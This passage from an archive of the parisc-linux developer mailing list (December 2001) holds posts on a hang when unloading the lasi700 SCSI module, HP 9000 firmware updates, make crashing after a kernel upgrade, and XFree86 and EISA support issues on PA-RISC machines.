Date: Thu, 27 Dec 2001 17:12:08 +0100
Organization: SAP LinuxLab
Lines: 33
Approved: news@gmane.org
Message-ID: <E16Jd8a-0000J5-00@linuxlab.wdf.sap-ag.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620886 32145 80.91.229.3 (22 Nov 2014 01:48:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:06 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: James.Bottomley@hansenpartnership.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 27 09:12:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from smtpde02.sap-ag.de (smtpde02.sap-ag.de [194.39.131.53])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2EC4A482D
	for <parisc-linux@parisc-linux.org>; Thu, 27 Dec 2001 09:12:11 -0700 (MST)
Original-Received: from sap-ag.de (smtpde02)
  by smtpde02.sap-ag.de (out) with ESMTP id RAA13271;
  Thu, 27 Dec 2001 17:15:40 +0100 (MEZ)
X-Mailer: KMail [version 1.3.1]
X-SAP: out
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13476

Hi James,

unloading the lasi700 scsi module hangs my PARISC-machine:

hw1306:/# uname -a
Linux hw1306 2.4.16-pa25 #2 Thu Dec 27 13:03:15 CET 2001 parisc unknown

hw1306:/# modprobe lasi700
53c700: Version 2.6 By James.Bottomley@HansenPartnership.com
scsi1: 53c710 rev 2
scsi1 : LASI SCSI 53c700
scsi1: (2:0) Synchronous at offset 8, period 236ns
  Vendor: TOSHIBA   Model: CD-ROM XM-3601TA  Rev: 0725
  Type:   CD-ROM                             ANSI SCSI revision: 02

hw1306:/# lsmod
Module                  Size  Used by    
lasi700                 1996   0  (unused)
53c700                 28396   0  [lasi700]
....

hw1306:/# rmmod lasi700
<machine hangs and only responds to pings, no login possible>

The machine is a B180L with an integrated 53c875 (scsi0, compiled into kernel)
and one 53c700 (scsi1, lasi700, as module) with one external CD-ROM drive.

Any ideas ?

Thanks,
Helge



From - Thu Nov 08 21:20:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Marco Rodriguez <marco@kiyen.face.ubiobio.cl>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] firmware update
Date: Thu, 27 Dec 2001 12:54:20 -0300 (CLST)
Lines: 20
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0112271246320.9179-100000@kiyen.face.ubiobio.cl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620886 32147 80.91.229.3 (22 Nov 2014 01:48:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:06 +0000 (UTC)
To: <debian-hppa@lists.debian.org>,
	<parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 27 09:40:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from kiyen.face.ubiobio.cl (kiyen.face.ubiobio.cl [146.83.194.132])
	by dsl2.external.hp.com (Postfix) with ESMTP id 858A24831
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Dec 2001 09:40:08 -0700 (MST)
Original-Received: from localhost (marco@localhost)
	by kiyen.face.ubiobio.cl (8.11.6/8.11.6) with ESMTP id fBRFsKN09279;
	Thu, 27 Dec 2001 12:54:20 -0300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13477

i want to upgrade the frimware of an HP 9000 D350 but the only patch i've
found from ftp://us-ffs.external.hp.com/ is to older

 Description: HP 9000 Dx50/Dx60 Firmware revision 36.34
   Date       : 96/09/16
   Patch Size : 944 Kbytes

anyone knows other place where i can download newest patches or this is
realy the lastest patch available?

thanks
-- 
*-------------------------*-----------------------------------------*
| Marco Rodriguez M.      |                                         |
| Ing. Civil Informatica. |   mailto:marco@kiyen.face.ubiobio.cl    |
| U. Bio Bio Conce.       |                                         |
*-------------------------*-----------------------------------------*




From - Thu Nov 08 21:20:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Oops...
Date: Thu, 27 Dec 2001 09:40:45 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20011227164045.45E9F4831@dsl2.external.hp.com>
References: <Pine.LNX.4.33.0112261956090.3248-100000@goliath.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620887 32150 80.91.229.3 (22 Nov 2014 01:48:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:07 +0000 (UTC)
Cc: PA-RISC Linux List <parisc-linux@parisc-linux.org>
To: Tom <palinux@alaskatech.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 27 09:40:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 45E9F4831; Thu, 27 Dec 2001 09:40:45 -0700 (MST)
In-Reply-To: Message from Tom <palinux@alaskatech.org> 
   of "Wed, 26 Dec 2001 20:01:07 -0900." <Pine.LNX.4.33.0112261956090.3248-100000@goliath.alaskatech.org> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13478

Tom wrote:
> Perhaps I spoke too soon about -pa24 being good. After compiling and
> rebooting with -pa24, then an apt-get update/dist-upgrade, make no longer
> works.

Could you check if make was replaced or one of it's libs?
"debsums -s" would be another good thing to check.
FWIW, make works fine for me with all the recent kernels (if they booted).

> Any ideas how to troubleshoot this one?

Reboot the older kernel and run "debsums -s" would be my first step.

grant



From - Thu Nov 08 21:20:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Derek Armstrong" <armstrong_derek@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: XFree86 Question
Date: Thu, 27 Dec 2001 11:19:58 -0600
Lines: 26
Approved: news@gmane.org
Message-ID: <F272OJlN0hju8qNABIT0000d6c2@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
X-Trace: ger.gmane.org 1416620887 32156 80.91.229.3 (22 Nov 2014 01:48:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:07 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 27 10:20:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (f272.law10.hotmail.com [64.4.14.147])
	by dsl2.external.hp.com (Postfix) with ESMTP id 673884837
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Dec 2001 10:20:00 -0700 (MST)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Thu, 27 Dec 2001 09:19:58 -0800
Original-Received: from 142.229.135.65 by lw10fd.law10.hotmail.msn.com with HTTP;
	Thu, 27 Dec 2001 17:19:58 GMT
X-Originating-IP: [142.229.135.65]
X-OriginalArrivalTime: 27 Dec 2001 17:19:58.0510 (UTC) FILETIME=[B5BCC4E0:01C18EFA]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13479

>Date: Wed, 26 Dec 2001 13:51:17 -0800
>To: bheadley@interaccess.com
>From: Christian Suder <csuder@cisco.com>
>Cc: parisc-linux@lists.parisc-linux.org
>Subject: [parisc-linux] Re: XFree86 Question
>
>
>In case you still have the problem, if I remember correctly the reason >is 
>that the XFree config file is generated in a "PC-ish" manner with a >lot of 
>different screen definitions and tries to start X in a >combination the fb 
>device does not support. Edit it to have just an >entry for the type of 
>screen you have (likely 1280x1024, 8bit).
>
>	Christian

I was having the same problem on a B132L+.  This fix got me up and going.  
Thanx Christian!



_________________________________________________________________
Join the worlds largest e-mail service with MSN Hotmail. 
http://www.hotmail.com




From - Thu Nov 08 21:20:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <palinux@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Oops...
Date: Thu, 27 Dec 2001 09:00:04 -0900 (AKST)
Lines: 39
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0112270851160.4166-100000@goliath.alaskatech.org>
References: <20011227164045.45E9F4831@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620887 32160 80.91.229.3 (22 Nov 2014 01:48:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:07 +0000 (UTC)
Cc: PA-RISC Linux List <parisc-linux@parisc-linux.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 27 11:02:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mta-2.gci.net (mta-2.gci.net [208.138.130.83])
	by dsl2.external.hp.com (Postfix) with ESMTP id 67DE3484C
	for <parisc-linux@parisc-linux.org>; Thu, 27 Dec 2001 11:02:57 -0700 (MST)
Original-Received: from mmp-2.gci.net ([208.138.130.81]) by mta-2.gci.net
          (Netscape Messaging Server 4.15) with ESMTP id GP0KSV00.AFV for
          <parisc-linux@parisc-linux.org>; Thu, 27 Dec 2001 09:02:55 -0900 
Original-Received: from goliath.alaskatech.org ([24.237.5.207]) by
          mmp-2.gci.net (Netscape Messaging Server 4.15) with ESMTP id
          GP0KSU02.Q11; Thu, 27 Dec 2001 09:02:54 -0900 
Original-Received: from goliath.alaskatech.org (goliath.alaskatech.org [24.237.5.207])
	by goliath.alaskatech.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id JAA04194;
	Thu, 27 Dec 2001 09:00:04 -0900
In-Reply-To: <20011227164045.45E9F4831@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13480

> Tom wrote:
> > Perhaps I spoke too soon about -pa24 being good. After compiling and
> > rebooting with -pa24, then an apt-get update/dist-upgrade, make no longer
> > works.
>
On Thu, 27 Dec 2001, Grant Grundler wrote:
> Could you check if make was replaced or one of it's libs?
> "debsums -s" would be another good thing to check.
> FWIW, make works fine for me with all the recent kernels (if they booted).

That's my guess too... 'make -d mrproper' gives:

Reading makefiles...
Reading makefile `Makefile'...
Got a SIGCHLD; 1 upreaped children.
Got a SIGCHLD; 1 upreaped children.
Got a SIGCHLD; 1 upreaped children.
Reading makefile `.config' (search path) (no ~ expansion)...
Reading makefile `.depend' (search path) (no ~ expansion)...
Reading makefile `arch/parisc/Makefile' (search path) (no ~ expansion)...
Got a SIGCHLD; 2 unreaped children
Trace/Breakpoint trap

...and back to prompt. Running again crashed the telnet session :-(  So,
ran with 'make -d mrproper > ~/make.err' a few times. Sometimes I get the
above text, sometimes it's just empty. 'make clean' or 'make oldconfig' do
the same thing...

'debsums -s' once again is clean, no errors. I'm thinking of waiting a
bit, re-running the apt-get dist-upgrade to catch things up, then see if
it fixes itself...

> Reboot the older kernel and run "debsums -s" would be my first step.

...although I'll probably do this, since I can't stand the idea of just
ignoring a problem :-)




From - Thu Nov 08 21:20:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom <palinux@alaskatech.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] firmware update
Date: Thu, 27 Dec 2001 09:02:18 -0900 (AKST)
Lines: 14
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0112270900370.4166-100000@goliath.alaskatech.org>
References: <Pine.LNX.4.33.0112271246320.9179-100000@kiyen.face.ubiobio.cl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620888 32162 80.91.229.3 (22 Nov 2014 01:48:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:08 +0000 (UTC)
Cc: <debian-hppa@lists.debian.org>
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 27 11:05:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mta-1.gci.net (mta-1.gci.net [208.138.130.82])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9A3384857
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Dec 2001 11:05:09 -0700 (MST)
Original-Received: from mmp-1.gci.net ([208.138.130.80]) by mta-1.gci.net
          (Netscape Messaging Server 4.15) with ESMTP id GP0KWK03.IHH for
          <parisc-linux@lists.parisc-linux.org>; Thu, 27 Dec 2001 09:05:08 -0900 
Original-Received: from goliath.alaskatech.org ([24.237.5.207]) by
          mmp-1.gci.net (Netscape Messaging Server 4.15) with ESMTP id
          GP0KWK02.713; Thu, 27 Dec 2001 09:05:08 -0900 
Original-Received: from goliath.alaskatech.org (goliath.alaskatech.org [24.237.5.207])
	by goliath.alaskatech.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id JAA04202;
	Thu, 27 Dec 2001 09:02:18 -0900
In-Reply-To: <Pine.LNX.4.33.0112271246320.9179-100000@kiyen.face.ubiobio.cl>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13481

On Thu, 27 Dec 2001, Marco Rodriguez wrote:
> i want to upgrade the frimware of an HP 9000 D350 but the only patch i've
> found from ftp://us-ffs.external.hp.com/ is to older
[snip]
> anyone knows other place where i can download newest patches or this is
> realy the lastest patch available?

Also, is there a good page available on how to actually patch your
firmware? It appears there's a newer one than my C180 has, but I couldn't
locate a How-To on HP's site (although I confess to not having the time to
dig too deeply)...




From - Thu Nov 08 21:20:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Suder <csuder@cisco.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Fwd: Re: [parisc-linux] [Q] on EISA support
Date: Thu, 27 Dec 2001 10:49:58 -0800
Lines: 24
Approved: news@gmane.org
Message-ID: <3C2B6D56.1000507@cisco.com>
References: <4.3.2.7.2.20011227103742.02a018e8@mira-sjc5-9.cisco.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620888 32163 80.91.229.3 (22 Nov 2014 01:48:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 27 11:50:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sj-msg-core-3.cisco.com (sj-msg-core-3.cisco.com [171.70.157.152])
	by dsl2.external.hp.com (Postfix) with ESMTP id F08144853
	for <parisc-linux@lists.parisc-linux.org>; Thu, 27 Dec 2001 11:50:00 -0700 (MST)
Original-Received: from mira-sjc5-9.cisco.com (mira-sjc5-9.cisco.com [171.71.163.32])
	by sj-msg-core-3.cisco.com (8.11.3/8.9.1) with ESMTP id fBRInfw22461;
	Thu, 27 Dec 2001 10:49:42 -0800 (PST)
Original-Received: from cisco.com ([171.71.143.76])
	by mira-sjc5-9.cisco.com (Mirapoint)
	with ESMTP id ABR99487;
	Thu, 27 Dec 2001 10:50:06 -0800 (PST)
User-Agent: Mozilla/5.0 (X11; U; Linux 2.2.19 sparc64; en-US; m18) Gecko/20001113
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13482

> 
> 
>> 
>> 
>> Hi Christian,
>> 
>> try the default config (remove your .config file and then run "make  
>> oldconfig").
>> It just booted here for me with -pa27, so I assume you may have 
>> forgotten the
>> CONFIG_GSC_WAX=y configuration entry
> 
No,

the entry is in the .config file. I'll try -pa27 later, there seem to be 
some issues with the -pa25 in general,

thanks,
   Christian

>> 




From - Thu Nov 08 21:20:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] firmware update
Date: Thu, 27 Dec 2001 12:55:09 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20011227195509.CF3F94855@dsl2.external.hp.com>
References: <Pine.LNX.4.33.0112270900370.4166-100000@goliath.alaskatech.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620888 32164 80.91.229.3 (22 Nov 2014 01:48:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:08 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: Tom <palinux@alaskatech.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 27 12:55:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id CF3F94855; Thu, 27 Dec 2001 12:55:09 -0700 (MST)
In-Reply-To: Message from Tom <palinux@alaskatech.org> 
   of "Thu, 27 Dec 2001 09:02:18 -0900." <Pine.LNX.4.33.0112270900370.4166-100000@goliath.alaskatech.org> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13483

Tom wrote:
> Also, is there a good page available on how to actually patch your
> firmware?

The firmware image is a shar file with a HOW-TO included.
Basic steps are to unpack, transfer the update lifimage
to bootable media (network, tape, disk) and boot it.

If you haven't, read the parisc-linux.org FAQ too. (It's short).

grant



From - Thu Nov 08 21:20:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Fwd: Re: [parisc-linux] [Q] on EISA support
Date: Thu, 27 Dec 2001 12:59:30 -0700
Lines: 13
Approved: news@gmane.org
Message-ID: <20011227195930.446D54861@dsl2.external.hp.com>
References: <4.3.2.7.2.20011227103742.02a018e8@mira-sjc5-9.cisco.com>  <3C2B6D56.1000507@cisco.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620889 32166 80.91.229.3 (22 Nov 2014 01:48:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:09 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, parisc-linux@lists.parisc-linux.org
To: Christian Suder <csuder@cisco.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 27 12:59:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 446D54861; Thu, 27 Dec 2001 12:59:30 -0700 (MST)
In-Reply-To: Message from Christian Suder <csuder@cisco.com> 
   of "Thu, 27 Dec 2001 10:49:58 PST." <3C2B6D56.1000507@cisco.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13484

Christian Suder wrote:
> the entry is in the .config file. I'll try -pa27 later, there seem to be 
> some issues with the -pa25 in general,

Yes - I broke dino (PCI) support in -pa25 when I re-enabled c3000 machines.
I might have also broke EISA support but don't think so.
Thomas fixed that in -pa26 (or pa27?).
Go back to -pa24 or forward to the latest.
parisc-linux-cvs mail archives might tell you what you want to know.

grant



From - Thu Nov 08 21:20:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: rmmod lasi700 hangs the machine
Date: Thu, 27 Dec 2001 14:23:03 -0600
Lines: 46
Approved: news@gmane.org
Message-ID: <200112272023.fBRKN4g21408@localhost.localdomain>
References: <helge.deller@sap.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed ;
	boundary="==_Exmh_-7787221390"
X-Trace: ger.gmane.org 1416620889 32168 80.91.229.3 (22 Nov 2014 01:48:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:09 +0000 (UTC)
Cc: James.Bottomley@hansenpartnership.com,
	parisc-linux@parisc-linux.org
To: Helge Deller <helge.deller@sap.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 27 13:23:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from localhost.localdomain (host194.steeleye.com [216.33.1.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 91BD5482D
